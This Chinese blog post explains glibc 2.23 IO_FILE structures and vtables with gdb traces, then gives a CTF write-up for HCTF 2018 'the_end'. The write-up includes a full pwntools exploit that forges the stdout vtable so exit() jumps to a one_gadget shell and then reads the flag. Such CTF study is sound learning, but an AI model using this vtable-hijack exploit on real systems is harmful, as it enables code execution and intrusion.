前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >IO_FILE 利用的基础知识

IO_FILE 利用的基础知识

作者头像
用户1423082
发布于 2024-12-31 10:41:15
发布于 2024-12-31 10:41:15
4300
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

源码跟踪

通过grep可以查看一些到对应的代码在哪

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
giantbranch@ubuntu:~$ grep "struct _IO_FILE " -r ./glibc-2.23/
./glibc-2.23/libio/libioP.h:typedef struct _IO_FILE *_IO_ITER;
./glibc-2.23/libio/libio.h:  struct _IO_FILE *_sbuf;
./glibc-2.23/libio/libio.h:struct _IO_FILE {
./glibc-2.23/libio/libio.h:  struct _IO_FILE *_chain;
./glibc-2.23/libio/libio.h:  struct _IO_FILE _file;
./glibc-2.23/libio/libio.h:  struct _IO_FILE *_freeres_list;
./glibc-2.23/libio/libio.h:typedef struct _IO_FILE _IO_FILE;
./glibc-2.23/libio/stdio.h:typedef struct _IO_FILE FILE;
./glibc-2.23/libio/stdio.h:typedef struct _IO_FILE __FILE;
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stdin;		/* Standard input stream.  */
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stdout;		/* Standard output stream.  */
./glibc-2.23/libio/stdio.h:extern struct _IO_FILE *stderr;		/* Standard error output stream.  */
./glibc-2.23/libio/strfile.h:  struct _IO_FILE _f;
./glibc-2.23/libio/genops.c:      struct _IO_FILE **f;
./glibc-2.23/libio/genops.c:  struct _IO_FILE *fp;
./glibc-2.23/libio/genops.c:  struct _IO_FILE *fp;
./glibc-2.23/libio/genops.c:  struct _IO_FILE *fp;
./glibc-2.23/ChangeLog.17:	* libio/stdio.h: Define struct _IO_FILE in global namespace.

至于源码可以通过命令下载

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
apt-get source libc6-dev

源码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct _IO_FILE {
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其中多个_IO_FILE以struct _IO_FILE *_chain;相连组成链表,头指针是_IO_list_all

可以看到链表的指向是_IO_list_all到2 1 0

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ p _IO_list_all
$24 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd2540)._chain
$29 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd2620)._chain
$30 = (struct _IO_FILE *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>
gdb-peda$ p ((struct _IO_FILE *)0x7ffff7dd18e0)._chain
$31 = (struct _IO_FILE *) 0x0

更进一步,有一个_IO_FILE_plus,其实他就多一个jump table

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

因为这个file就是_IO_FILE

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct _IO_FILE;
/* The opaque type of streams.  This is the definition used elsewhere.  */
typedef struct _IO_FILE FILE;

这个table就是函数指针

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

那么我们就有可能通过vtable劫持控制流

vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。

例子

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/io-file/2018_hctf_the_end/the_end

只有5个写一字节的机会,那我们只能通过exit劫持控制流

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

exit会调用_IO_unbuffer_all,里面会调用setbuf 我们可以对setbuf下断点,即_IO_new_file_setbuf

当然里面也会调用_IO_flush_all_lockp,你去覆盖overflow也是可以的

不行的话对所有jumptable的函数都下个断点,那就知道会调用哪个了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ p _IO_2_1_stdout_ 
$41 = {
  file = {
    _flags = 0xfbad2a84, 
    _IO_read_ptr = 0x555555756010 "here is a gift "..., 
    _IO_read_end = 0x555555756010 "here is a gift "..., 
    _IO_read_base = 0x555555756010 "here is a gift "..., 
    _IO_write_base = 0x555555756010 "here is a gift "..., 
    _IO_write_ptr = 0x555555756010 "here is a gift "..., 
    _IO_write_end = 0x555555756010 "here is a gift "..., 
    _IO_buf_base = 0x555555756010 "here is a gift "..., 
    _IO_buf_end = 0x555555756410 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
gdb-peda$ p *(struct _IO_jump_t *)0x7ffff7dd06e0
$45 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff7a869c0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a87730 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a85370 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a861a0 <__GI__IO_file_read>, 
  __write = 0x7ffff7a85b70 <_IO_new_file_write>, 
  __seek = 0x7ffff7a85970 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a85340 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a85b60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}

下断点后,断下来,可以看到exit调用了它

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ bt
#0  _IO_new_file_setbuf (fp=0x7ffff7dd2620 <_IO_2_1_stdout_>, p=0x0, len=0x0) at fileops.c:450
#1  0x00007ffff7a8939f in _IO_unbuffer_all () at genops.c:915
#2  _IO_cleanup () at genops.c:960
#3  0x00007ffff7a46f9b in __run_exit_handlers (status=0x539, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=0x1) at exit.c:95
#4  0x00007ffff7a47045 in __GI_exit (status=<optimized out>) at exit.c:104
#5  0x0000555555554969 in ?? ()
#6  0x00007ffff7a2d830 in __libc_start_main (main=0x5555555548d0, argc=0x1, argv=0x7fffffffe558, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe548) at ../csu/libc-start.c:291
#7  0x00005555555547c9 in ?? ()

那个伪造的vtable地址+0x58的位置必须跟one_gadget的高5位都是一致的

由于本地的libc没有一个onegadget满足条件,所以没成功,但是是成功起shell了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ c
Continuing.
process 49883 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 5.
Cannot access memory at address 0x7fae55ca7216

exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-12-14 18:25:22
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
context.log_level = "debug"
p = process("./the_end")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

vtable_point_offset = 3954424
# onegadget_offset = 0xf02a4
onegadget_offset = 0x45216
fake_vtable_offset = 3953800
fake_vtable_setbuf_offset = fake_vtable_offset + 0x58

def getpid():
    print proc.pidof(p)[0]
    pause()

p.recvuntil("here is a gift ")
sleep_addr = int(p.recvuntil(", good luck")[:-11], 16)
print "sleep_addr = " + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols["sleep"]
print "libc_base = " + hex(libc_base)
vtable_point = libc_base + vtable_point_offset
print "vtable_point = " + hex(vtable_point)
onegadget = libc_base + onegadget_offset 
print "onegadget = " + hex(onegadget)
fake_vtable = libc_base + fake_vtable_offset 
print "fake_vtable = " + hex(fake_vtable)
fake_vtable_setbuf = libc_base + fake_vtable_setbuf_offset 
print "fake_vtable_setbuf = " + hex(fake_vtable_setbuf)


for x in xrange(0,2):
	p.send(p64(vtable_point + x))
	p.send(p64(fake_vtable)[x])

getpid()

for x in xrange(0,3):
	p.send(p64(fake_vtable_setbuf + x))
	p.send(p64(onegadget)[x])

p.sendline("cat /flag >&0")

p.interactive()

reference

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-12-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
IO FILE之劫持vtable及FSOP
之前的文章对IO FILE相关功能函数的源码进行了分析,后续将对IO FILE相关的利用进行阐述。
迅达集团
2019/07/01
1.6K0
CTF PWN之house of orange
题目链接:https://github.com/giantbranch/CTF_PWN/tree/master/other/houseoforange
用户1423082
2024/12/31
520
CTF PWN之house of orange
PWN入门(unsafe unlink)
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)
yichen
2020/08/05
9050
[TCTF/0CTF 2022 Quals] Pwn - ezvm
题目实现了一个简单的图灵完备的虚拟机,具有栈操作,算术运算,寄存器操作,读/写内存指令,跳转等指令。其中所有的算术运算都是基于栈的运算。
赤道企鹅
2022/09/29
4600
Linux文件基础I/O
1.空文件也要在磁盘占据空间 2.文件 = 内容 + 属性 3.文件操作 = 对内容 + 对属性 4.标定一个文件,必须使用文件路径 + 文件名(唯一性) 5.如果没有指明对应的文件路径,默认是在当前路径进行访问 6.当我们把fopen,fclose,fread,fwrite等接口写完之后,代码编译之后,形成二进制可执行程序之后,但是没运行,文件对应的操作有没有被执行呢?没有 —— 对文件操作的本质是进程对文件的操作。 7.一个文件如果没被打开,可以直接进行文件访问吗??不能!一个文件要被访问,就必须先被打开!(被打开的时候是用户调用端口,操作系统负责操控硬件,所以这个操作是用户进程和操作系统共同完成的) 8.磁盘的文件不是所有的都被打开,是一部分被打开,一部分关闭。 总结:文件操作的本质是进程和被打开文件之间的关系。
有礼貌的灰绅士
2023/03/28
1.3K0
Linux文件基础I/O
Linux pwn入门学习到放弃
PWN是一个黑客语法的俚语词,自”own”这个字引申出来的,意为玩家在整个游戏对战中处在胜利的优势。本文记录菜鸟学习linux pwn入门的一些过程,详细介绍linux上的保护机制,分析一些常见漏洞如栈溢出,堆溢出,use after free等,以及一些常见工具介绍等。
FB客服
2020/09/22
4K0
Linux pwn入门学习到放弃
how2heap学习
通过演示滥用fastbin freelist来欺骗malloc返回已分配的堆指针。 其实就是fastbin的double free
用户1423082
2024/12/31
420
how2heap学习
House of Orange
一开始申请了一个 chunk,此时 top chunk 的 size 是 0x20c00
yichen
2020/11/23
5730
House of Orange
2023古剑山网络安全大赛初赛
flag{50af5e39-506a-46af-9755-fe04c22dda1e}
故里[TRUE]
2023/12/10
7570
2023古剑山网络安全大赛初赛
5分钟理解编译系统
  本文以一个C语言版的hello world例子阐述编译系统四个阶段的工作内容。源程序hello.c如下:
用户1432189
2018/09/05
1K0
5分钟理解编译系统
PWNCTF部分复现
根据readData和writedata函数的逻辑发现数组是char [22][12],主要是判断越界的if语句有逻辑漏洞
安恒网络空间安全讲武堂
2018/12/18
9370
PWNCTF部分复现
Linux基础IO全面介绍
原文:https://blog.csdn.net/AI_ELF/article/details/122547439
入门笔记
2022/06/03
4420
Linux基础IO全面介绍
[DASCTF 2021.03] Pwn方向完全writeup
周末打了一下DASCTF,基本都是菜单题的堆利用,除了有一题打safe-linking比较新,其它都比较常规。
赤道企鹅
2022/08/01
5600
【在Linux世界中追寻伟大的One Piece】IO基础
操作文件,除了上述C接口(当然,C++也有接口,其他语言也有),我们还可以采用系统接口来进行文件访问,先来直接以代码的形式,实现和上面一模一样的代码:
枫叶丹
2024/09/07
1350
【在Linux世界中追寻伟大的One Piece】IO基础
【 二进制安全】House Of Eingherjar
我们可以看到 free 指针 p 的时候,prevsize 实际上是 p 堆块的 prevsize 位,这其实就是利用了 malloc 中的隐式链表技术,把 P 指针指向了要 free 堆块的前一个堆块(q),然后进行 unlink 操作。
用户6343818
2020/05/26
4380
【 二进制安全】House Of Eingherjar
how2heap学习(下)
how2heap 是 shellphish 团队在 github 上面分享的用来学习各种堆利用手法的项目
yichen
2020/12/11
6380
how2heap学习(下)
sctf_2019_easyheap 的两种解法
直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙
赤道企鹅
2022/08/01
2880
CVE-2024-6387|OpenSSH远程代码执行漏洞
OpenSSH是SSH(Secure SHell)协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。
信安百科
2024/07/12
5540
CVE-2024-6387|OpenSSH远程代码执行漏洞
Linux 之 详谈系统I/O文件及内核级缓冲区(看这一篇就够了)
打开文件的方式不仅仅是fopen, ifstream等流式, 语言层的方案, 其实系统才是打开文件最底层的方案. 不过, 在学习文件IO之前, 先要了解一下如何给函数传递标志位, 该方法在系统文件IO接口中会使用到:
用户11317877
2025/02/16
1200
Linux 之 详谈系统I/O文件及内核级缓冲区(看这一篇就够了)
[XCTF Final 2021] Pwn题解 - house of big, hard stack, lua
打出了个非预期,找到了一条奇怪的IO_FILE函数利用链——io_wfile_sync,该利用链需要配合一个手动挖出来的libc2.31的one_gadget使用。可迁移性不强(其实所有利用IO_FILE vtable指针的打法都大同小异
赤道企鹅
2022/08/01
5220
相关推荐
IO FILE之劫持vtable及FSOP
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验